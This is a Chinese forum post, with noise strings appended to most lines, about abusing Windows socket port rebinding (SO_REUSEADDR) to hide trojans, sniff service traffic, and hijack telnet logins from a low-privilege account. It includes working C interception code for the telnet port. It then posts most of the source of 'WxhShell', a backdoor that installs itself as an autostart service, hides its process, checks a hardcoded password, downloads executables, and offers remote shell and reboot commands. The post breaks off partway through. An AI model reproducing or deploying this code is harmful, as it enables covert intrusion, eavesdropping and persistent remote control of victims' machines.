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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h M/:zC:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BB)( #yoi  
/Ayo78Pi  
  saddr.sin_family = AF_INET; <q dM  
{dk%j~w8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I8%2tLVY  
bt2`elH|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [og_0;  
p^yuz (  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "j<l=l!  
ahnQq9  
  这意味着什么?意味着可以进行如下的攻击: Ck;>9>  
O:hCUr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )j^~=Sio.  
~$@~X*K~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;n"Nv }<C  
$7~T+fmF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3EHn}#+U  
2/coa+Qkv]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (n>gC  
}r)T75_1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #*"5F*  
z;F6:aBa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *$4EXwt'  
GCEcg&s=\S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 : K#z~#n  
C'a%piX  
  #include ,o\-'   
  #include =D@+_7\?  
  #include 6y4&nTq[  
  #include    &E(KOfk#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^#Ruw?D  
  int main() n!Dy-)!`O  
  { 7[)IP:I>  
  WORD wVersionRequested; wE4:$+R};  
  DWORD ret;  Q9!T@  
  WSADATA wsaData; , (Bo .(]  
  BOOL val; S{sJX5R;  
  SOCKADDR_IN saddr; -#e3aXe  
  SOCKADDR_IN scaddr; |d@%Vb_  
  int err; "G+g(?N]j  
  SOCKET s; wVw?UN*rm;  
  SOCKET sc; F"?OLV1B&  
  int caddsize; @S%ogZz*m  
  HANDLE mt; Z fQzA}QD  
  DWORD tid;   uq~Z  
  wVersionRequested = MAKEWORD( 2, 2 ); Vp5i i]B4  
  err = WSAStartup( wVersionRequested, &wsaData ); !i`HjV0wS  
  if ( err != 0 ) { x)h|!T=B~  
  printf("error!WSAStartup failed!\n"); s_j ?L  
  return -1; 8^8fUN4<=  
  } RF,[1O-\O  
  saddr.sin_family = AF_INET; 2c Pd$j  
   l[G&=/R@H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h:J0d~u  
h yPVt6Gkj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t\/i9CBn  
  saddr.sin_port = htons(23); f2abee  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i 1{Lx)  
  { =[7[F)I~O  
  printf("error!socket failed!\n"); _3_kvs  
  return -1; L T.u<ThR}  
  } LrL ZlJf  
  val = TRUE; p;P"mp\'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cU+% zk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^5:xSQ@:  
  { 2Gw2k8g&  
  printf("error!setsockopt failed!\n"); VD,p<u{r  
  return -1; PGE|){ <  
  } PqhR^re0.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %O=U|tuc$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WaaF;| ,(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2EU((Q`>=(  
 3 )bC,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [i&EUvo  
  { lHTW e'  
  ret=GetLastError(); pr;z>|FgA>  
  printf("error!bind failed!\n"); &N`s@Ka  
  return -1; 5\?\ |*WT  
  } I 19 /  
  listen(s,2); WPN4mEow  
  while(1) z;#DX15Rj  
  { 2!7)7wlj0  
  caddsize = sizeof(scaddr); L355uaj  
  //接受连接请求 IO*}N"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^iHwv*ss  
  if(sc!=INVALID_SOCKET) t,f)!D$  
  { ;F/yS2p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5}pn5iI  
  if(mt==NULL) cg]\R1Gm  
  { d&@>P&AT  
  printf("Thread Creat Failed!\n"); " 0:&x n8L  
  break; ;aY.CgX  
  } >Z\{P8@k0  
  } ['*{f(AI  
  CloseHandle(mt); sv g`s,g  
  } 3>+9Rru  
  closesocket(s); TN+iv8sT  
  WSACleanup(); Q7~9~  
  return 0; r}9a3 1i  
  }   /CE]7m,7~K  
  DWORD WINAPI ClientThread(LPVOID lpParam) vq.~8c1  
  { _N-.=86*  
  SOCKET ss = (SOCKET)lpParam; !bPsJbIo>  
  SOCKET sc; gc y'"d"  
  unsigned char buf[4096]; g?}$"=B   
  SOCKADDR_IN saddr; l$1z%|I  
  long num; /F(wb_!  
  DWORD val; JFJ_ PphvD  
  DWORD ret; X:un4B}O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `ZC{<eVJ}=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #JOWiO0>  
  saddr.sin_family = AF_INET; y,i ~w |4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5 aT>8@$Z^  
  saddr.sin_port = htons(23); o `]o(OP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _>6xU t  
  { ,D6hJ_:  
  printf("error!socket failed!\n"); :skNEY].  
  return -1; V[w Y;wj  
  } tm"9`   
  val = 100; Qh0tU<jG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /9K,W)h_  
  { a/n KKhXaM  
  ret = GetLastError(); TSl:a &  
  return -1; &8##)tS(y  
  } Y/3CB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tfSY(cXg'T  
  { NB["U"1[^E  
  ret = GetLastError(); RW?F{Jy{  
  return -1; ;T9u$4 <  
  } tR! !Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uA'S8b%C  
  { ({R-JkW: ;  
  printf("error!socket connect failed!\n"); l[MP|m#  
  closesocket(sc); ~_!lx  
  closesocket(ss); DaA9fJ7a   
  return -1; Mdj?;'Yv  
  } 'V*ixK8R0  
  while(1) ="k9 y  
  { 86bRfW'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gJ; *?Uq(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @scy v@5)F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X\z `S##kj  
  num = recv(ss,buf,4096,0); GH6HdZ  
  if(num>0) 4;rt|X77  
  send(sc,buf,num,0); -w[j`}([P9  
  else if(num==0) eaG_)y  
  break; h~!KNF*XW  
  num = recv(sc,buf,4096,0); \z~wm&  
  if(num>0) @1`!}.Tk  
  send(ss,buf,num,0); U #u=9%'  
  else if(num==0) 3?R56$-+  
  break; L,(H(GeX  
  } < wI z8V  
  closesocket(ss); x)wlp{rLf  
  closesocket(sc); ~x!"(  
  return 0 ; y@T 0 jI  
  } Wk0"U V  
p)dD{+"/2  
+b9gP\Hke  
========================================================== /M0A9ZT[  
 -L.U4x  
下边附上一个代码,,WXhSHELL ![>j`i  
$$,/F  
========================================================== CTNeh%K;  
dGNg[  
#include "stdafx.h" 2"'<Yk9  
E1=WH-iA0  
#include <stdio.h> xw>\6VNt  
#include <string.h> BA5b;+o-  
#include <windows.h> 2j*+^&M/  
#include <winsock2.h> o'Uaz*-po  
#include <winsvc.h> _3;vir%)  
#include <urlmon.h> Epl\(  
K5h2 ~  
#pragma comment (lib, "Ws2_32.lib") | 4slG   
#pragma comment (lib, "urlmon.lib") aJ4y%Gy?  
SY[7<BUZ  
#define MAX_USER   100 // 最大客户端连接数 >dr34=(  
#define BUF_SOCK   200 // sock buffer r Ljb'\<*  
#define KEY_BUFF   255 // 输入 buffer ;Nd,K C0k  
r?:zKj8/u  
#define REBOOT     0   // 重启 $=IJ-_'o  
#define SHUTDOWN   1   // 关机 F*0rpQ,*  
3eg)O34  
#define DEF_PORT   5000 // 监听端口 Wubvvm8U  
"-WEUz  
#define REG_LEN     16   // 注册表键长度 w;p: 4`  
#define SVC_LEN     80   // NT服务名长度 4YT d  
}#b[@3/T  
// 从dll定义API mmJ$+$JEk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4@Q`8N.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !U 6 x_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xcy Xju#"p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d'x'hp%  
wa)E.(x  
// wxhshell配置信息 (>LJv |wn  
struct WSCFG { oZ /z{`  
  int ws_port;         // 监听端口 ++m^z` D  
  char ws_passstr[REG_LEN]; // 口令 lCX*Q{s22  
  int ws_autoins;       // 安装标记, 1=yes 0=no 77]6_  
  char ws_regname[REG_LEN]; // 注册表键名 HW@r1[Y  
  char ws_svcname[REG_LEN]; // 服务名 )Rlh[Y& r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 " iz'x-wy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k)a3j{{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qw,{"J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mZ[tB/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ++d%D9*V<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g5\EVcHkz  
wqZ*$M   
}; :Sd"~\N+  
KeGGF]=>  
// default Wxhshell configuration Os5Xejh`I  
struct WSCFG wscfg={DEF_PORT, 5C G ,l  
    "xuhuanlingzhe", ~vL`[JiK  
    1, cD6T4  
    "Wxhshell", S, *  
    "Wxhshell", <Rno ;  
            "WxhShell Service", GY~Q) Z  
    "Wrsky Windows CmdShell Service", Hy*_4r  
    "Please Input Your Password: ", W`d\A3v  
  1, /`2t$71)  
  "http://www.wrsky.com/wxhshell.exe", g.V{CJ*V  
  "Wxhshell.exe" TA~FP#.  
    }; .*x |TPv{  
vhEXtjL  
// 消息定义模块 d4r@Gx%BE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v5/2-<6x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b.4H4LV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]E:P-xTwaI  
char *msg_ws_ext="\n\rExit."; K,$Ro@!  
char *msg_ws_end="\n\rQuit."; <* vWcCS1  
char *msg_ws_boot="\n\rReboot..."; 3[a&|!Yw  
char *msg_ws_poff="\n\rShutdown..."; mDG=h6y"V  
char *msg_ws_down="\n\rSave to "; '1Z3MjX  
#\{j/{VZ  
char *msg_ws_err="\n\rErr!"; G'dN_6ho3  
char *msg_ws_ok="\n\rOK!"; F4#^jat{  
n{@^ne4 m  
char ExeFile[MAX_PATH]; _P:}]5-|  
int nUser = 0; .O1Kwu  
HANDLE handles[MAX_USER]; 9[9 ZI1*s  
int OsIsNt; M In6p  
HXg#iP^tv  
SERVICE_STATUS       serviceStatus; VOa7qnh4:[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9?6]Z ag  
(9A`[TRwi  
// 函数声明 kuZs30^  
int Install(void); ]6*+i $  
int Uninstall(void); ,5 A&  
int DownloadFile(char *sURL, SOCKET wsh); B S^P&TR!  
int Boot(int flag); h%0FKi^  
void HideProc(void); ,iy;L_N  
int GetOsVer(void); *.2[bQL@v  
int Wxhshell(SOCKET wsl); rmq^P;At  
void TalkWithClient(void *cs); op|:XLR5  
int CmdShell(SOCKET sock); 03$lgDQ  
int StartFromService(void); SBbPO5^](  
int StartWxhshell(LPSTR lpCmdLine); h=7eOK]  
`+c8;p'q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zNo(|;19  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'y? HF@NJ  
KsG>,# Q  
// 数据结构和表定义 s7(I  
SERVICE_TABLE_ENTRY DispatchTable[] = ,RYahu  
{ -:jC.} Y  
{wscfg.ws_svcname, NTServiceMain}, 8K;wX%_,  
{NULL, NULL} )Z.M(P  
}; g:&V9~FR  
+'!4kwTR  
// 自我安装 :VvJx]  
int Install(void) (e~vrSk+)~  
{ o<f#Zi  
  char svExeFile[MAX_PATH]; ~Bi{k'A9  
  HKEY key; Lu6?$N57rC  
  strcpy(svExeFile,ExeFile); MF}}o0P  
#R#o/@|  
// 如果是win9x系统,修改注册表设为自启动 c9<&+  
if(!OsIsNt) { nWzGb2Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~=#jr0IZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K]0K/~>8  
  RegCloseKey(key); )h&*b9[B=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /qeSR3WC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0D=7Mef  
  RegCloseKey(key); a+_F^   
  return 0; ywl7bU-f  
    } `B GU  
  } a=%QckR*  
} n~e#Y<IP\1  
else { NW*qw q  
 (r!d4  
// 如果是NT以上系统,安装为系统服务 Fu/{*4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j\^ u_D  
if (schSCManager!=0) V!3.MQM  
{ =#Qm D=  
  SC_HANDLE schService = CreateService rf:C B&u  
  ( Jemb0Qv  
  schSCManager, eCI0o5U  
  wscfg.ws_svcname, >RL|W}tI4  
  wscfg.ws_svcdisp, +P//p$pE  
  SERVICE_ALL_ACCESS, xy.di9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,TdL-a5  
  SERVICE_AUTO_START, w*-1*XNA  
  SERVICE_ERROR_NORMAL, \@eC^D2  
  svExeFile, o@!!I w  
  NULL, ==W`qC4n?n  
  NULL, tG"lI/  
  NULL, $S(q;Y  
  NULL, ]L?DV3N  
  NULL :87HXz6]jS  
  ); ,2y " \_  
  if (schService!=0) UB7H`)C}  
  { I$#)k^Q  
  CloseServiceHandle(schService); UN"U#Si)  
  CloseServiceHandle(schSCManager); }ippi6b:r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4[$D3,A  
  strcat(svExeFile,wscfg.ws_svcname);  @U;U0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RE?j)$y?`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g0n 5&X  
  RegCloseKey(key); c{SD=wRt,y  
  return 0; C $r]]MSj  
    } ?{bAyh/  
  } *wY { ~zh  
  CloseServiceHandle(schSCManager); e52y}'L  
} $sTvXf:g  
} 4CdST3  
|n_es)A  
return 1; `Y5{opG7-  
} a| s64+  
#ivN-WKCl  
// 自我卸载 /j`v N  
int Uninstall(void) f|&ga'5g&  
{ ]*Tnu98G}  
  HKEY key; =C[2"Y4JK0  
~LKX2Q:S  
if(!OsIsNt) { (H*d">`mz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >a aHN1Ca  
  RegDeleteValue(key,wscfg.ws_regname); _H (:$=$Q  
  RegCloseKey(key); HR> X@g<c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [61T$.  
  RegDeleteValue(key,wscfg.ws_regname); WV8?zB1  
  RegCloseKey(key); ZGHh!Ds;  
  return 0; NL-<K  
  } jRv j:H9  
} nYv`{0S+m  
} ~1`ZPLVG  
else { e#uk+]  
+l,6}tV9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?g5u#Q> !  
if (schSCManager!=0) YV 5kzq  
{ ZvS|a~jO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E{-W#}#  
  if (schService!=0) KJf~9w9U  
  { >[U.P)7;  
  if(DeleteService(schService)!=0) { ny,a5zEnF  
  CloseServiceHandle(schService); ^:yg,cS|Be  
  CloseServiceHandle(schSCManager); 7rdPA9  
  return 0; mAFVjSa2  
  } npW1Z3n  
  CloseServiceHandle(schService); vG7aT  
  } ^z^ UFW  
  CloseServiceHandle(schSCManager); <f'2dT@6  
} xg>AW Q  
} jP-=x(  
ji|`S\u#b  
return 1; h{sY5d'D  
} LE" t'R   
Y.<&phv  
// 从指定url下载文件 8O)!{gB  
int DownloadFile(char *sURL, SOCKET wsh) -5Km 9X8  
{ .$k2.-k  
  HRESULT hr; mR? } gR  
char seps[]= "/"; nOd'$q  
char *token; DsY$  
char *file; #n[1%8l,  
char myURL[MAX_PATH]; z z4.gkU  
char myFILE[MAX_PATH]; ppBIl6  
P 3CzX48^  
strcpy(myURL,sURL); m#(tBfH[  
  token=strtok(myURL,seps); (M5{y` Kk  
  while(token!=NULL) !Hk$  t  
  { LcA~a<_  
    file=token; }#rdMh  
  token=strtok(NULL,seps); 9_6.%qj&  
  } \G}$+  
DB^"iof  
GetCurrentDirectory(MAX_PATH,myFILE); V`n;W6Q17  
strcat(myFILE, "\\"); -UPlQL  
strcat(myFILE, file); 3]X9 z  
  send(wsh,myFILE,strlen(myFILE),0); Jhyb{i8RR  
send(wsh,"...",3,0); l{{wrU`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,a$ ?KX  
  if(hr==S_OK) kUdl2["MZ  
return 0; A!K/92[#@  
else 5G\CT&cQR  
return 1; 'Gw;@[  
E/MNz}+  
} ;,8bb(j  
p:hzLat~  
// 系统电源模块 eqyZ|6  
int Boot(int flag) 1Ugyjjlz  
{ ?`nF"u>  
  HANDLE hToken; YGA( "<  
  TOKEN_PRIVILEGES tkp; qX GAlCq@  
 ^vPt Ppt  
  if(OsIsNt) { _PPW9US{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >tq,F"2amC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @R|Gz/  
    tkp.PrivilegeCount = 1; +n ${6/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t ._PS3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M@>EZ  
if(flag==REBOOT) { ohdWEU,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 86^xq#+Uw  
  return 0; fC2   
} Qe!Q $  
else { |vZ\tQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7I6bZ;}d  
  return 0; uF!3a$4]  
} ,6zH;fi  
  } y=H^U.  
  else { !*0\Yi,6  
if(flag==REBOOT) { r 3@Q(Rb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5ml^3,x  
  return 0; K8`M~P.  
} x*~a{M,h  
else { 3sk$B%a>Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I$Q%i Z{  
  return 0; i4Y_5  
} *ay>MlcV2=  
} 1$q>\  
u7=jtB   
return 1; VK*2`Z1  
} D<rO:Er?*a  
VWlOMqL995  
// win9x进程隐藏模块 U8Pnt|0M  
void HideProc(void) R;P>_ei(LK  
{ <"uT=]wZ=  
o@`& h} $  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [mSK!Y@u  
  if ( hKernel != NULL ) jhWNMu  
  { FQR{w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >-Qg4%m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o |7]8K=  
    FreeLibrary(hKernel); rAdYBr=0  
  } }LH>0v_<Y  
web =AQ5I4  
return; jb' hqz  
} A2o ;YyF  
JM#jg-z,~  
// 获取操作系统版本 L%8>deE>;D  
int GetOsVer(void) p_$03q>oQ  
{ X517PT8O  
  OSVERSIONINFO winfo; :\@WY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f:k3j}&  
  GetVersionEx(&winfo); 5#zwd oQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g1Q^x/  
  return 1; J?XEF@?'G  
  else Ve,_;<F]S  
  return 0;  `x"0  
} `0rEV _$  
/;M0tP  
// 客户端句柄模块 GNXQD}L?b?  
int Wxhshell(SOCKET wsl) wSp1ChS k  
{ "`DCXn#mB  
  SOCKET wsh; krTH<- P  
  struct sockaddr_in client; bA-=au?o5  
  DWORD myID; '#SacJ\L7  
(lhbH]I  
  while(nUser<MAX_USER) 0@rrY  
{ h:[PO6GdX  
  int nSize=sizeof(client); k--.g(T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0px@3/  
  if(wsh==INVALID_SOCKET) return 1; `zHtfox!  
k/vE|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q)}sX6TB  
if(handles[nUser]==0) hq.z:D  
  closesocket(wsh); cLH|;  
else Bv $;yR  
  nUser++; tw8@&8"  
  } [R j=k)aBm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <CL0@?*i9  
D"F5-s7  
  return 0; jxL5L[  
} o<e AZ  
N}wi<P:*)  
// 关闭 socket x`^~|Q  
void CloseIt(SOCKET wsh) vJ$#m_aa  
{ `j088<?j  
closesocket(wsh); 9hI4',(rE  
nUser--; o}p6qB=;1  
ExitThread(0); A%n l@`s,  
} #.0^;M5Nh  
8=Di+r  
// 客户端请求句柄 @`U78)]  
void TalkWithClient(void *cs) TL+a_]3@  
{ ]*pALT6  
*k'oP~:fT  
  SOCKET wsh=(SOCKET)cs; E.?|L-fy  
  char pwd[SVC_LEN]; /4j'?hB<g  
  char cmd[KEY_BUFF]; jRK<FK  
char chr[1]; A'qJke=  
int i,j; bL+Hw6;  
4E:HO\  
  while (nUser < MAX_USER) { ]yN]^% PYH  
5tR<aIf  
if(wscfg.ws_passstr) { 6a PZW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %FGPsHH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F ]\4<  
  //ZeroMemory(pwd,KEY_BUFF); .eW}@1+[;  
      i=0; ecA[  
  while(i<SVC_LEN) { .O'S@ %]  
`9eE139V='  
  // 设置超时 \1f$]oS  
  fd_set FdRead; .x$+ 7$G  
  struct timeval TimeOut; >t u3m2  
  FD_ZERO(&FdRead); J'y*;@4l^:  
  FD_SET(wsh,&FdRead); 5<Cu-X  
  TimeOut.tv_sec=8; Ul OoMGg  
  TimeOut.tv_usec=0; +L*2 6ar6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <FmrYwt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0 8vA;6zt  
W,YzD&f=uS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V4f ~#Tp  
  pwd=chr[0]; }4Lv-9s,  
  if(chr[0]==0xd || chr[0]==0xa) { $k*E^~qT  
  pwd=0; !l@IG C  
  break; '=@O]7o~  
  } {) 4D1  
  i++; :{%6< j  
    } O'U0Y8HN  
MuYr?1<q  
  // 如果是非法用户,关闭 socket #"%oz^~\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |)i- c`x  
} Y1txI  
gm9e-QIHK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V;ZyAp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~m y\{q  
M[D`)7=b  
while(1) { #ldNWwvRGj  
4(2}O-~  
  ZeroMemory(cmd,KEY_BUFF); sN 1x|pkN  
 =w0Rq~  
      // 自动支持客户端 telnet标准   O9oVx4=  
  j=0; 83:m 7;  
  while(j<KEY_BUFF) { }Gr5TDiV0\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !)ey~Suh  
  cmd[j]=chr[0]; N%/Qc hu  
  if(chr[0]==0xa || chr[0]==0xd) { aB-*l %x  
  cmd[j]=0; :x]gTZ?  
  break; x$I~y D  
  } /K<Xr[z~y  
  j++; ^10*s,(uS?  
    } pq+Gsu1^  
j"HB[N   
  // 下载文件 ry3;60E \)  
  if(strstr(cmd,"http://")) { i 4lR$]@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WZdA<<,:o  
  if(DownloadFile(cmd,wsh)) 8(q4D K\5u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z m\=4^X  
  else w<&Nn`V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O[3J Px  
  } 4vPQuk!  
  else { a*6x^R;)  
+Vt@~Z4K  
    switch(cmd[0]) { O*rKV2\  
  rPkV=9ull,  
  // 帮助 bV|:MW <Wv  
  case '?': { <_8\}!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ' ~lC85  
    break; YN9ug3O+  
  } {-J/ <a@  
  // 安装 Wk$[;>NU3  
  case 'i': { '81$8xxdY  
    if(Install()) ,sP7/S)FR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qbu Lcy3  
    else #*j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {l.) *#O  
    break; 1$?O5.X:  
    } 5W>i'6*  
  // 卸载 yp wVzCUG  
  case 'r': { A5z`_b4f  
    if(Uninstall()) K=M5d^K<E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NtkEb :  
    else BQ,]]}e43z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ueZ`+g~gg  
    break; 5[]7baO)h1  
    } zv||&Hi  
  // 显示 wxhshell 所在路径 .Gh-T{\V'  
  case 'p': { thOQcOf0$  
    char svExeFile[MAX_PATH]; %A`f>v.7 c  
    strcpy(svExeFile,"\n\r"); f8L  
      strcat(svExeFile,ExeFile); [{ K$sd  
        send(wsh,svExeFile,strlen(svExeFile),0); F=Z|Ji#  
    break; s{x2RDAt  
    } qxG @Zd  
  // 重启 m[!t7e  
  case 'b': { Ex^7`-2,B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;:vbOG#aSN  
    if(Boot(REBOOT)) ^O6PZm5J}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $d{{><  
    else { ;VeC(^-eh6  
    closesocket(wsh); !h}x,=`z/  
    ExitThread(0); ]}i_NqW)  
    } V9I5/~0c  
    break; @sav8 ]  
    } 3%|LMX]M5_  
  // 关机 jl{>>TW{x  
  case 'd': { k+'Rh'>  
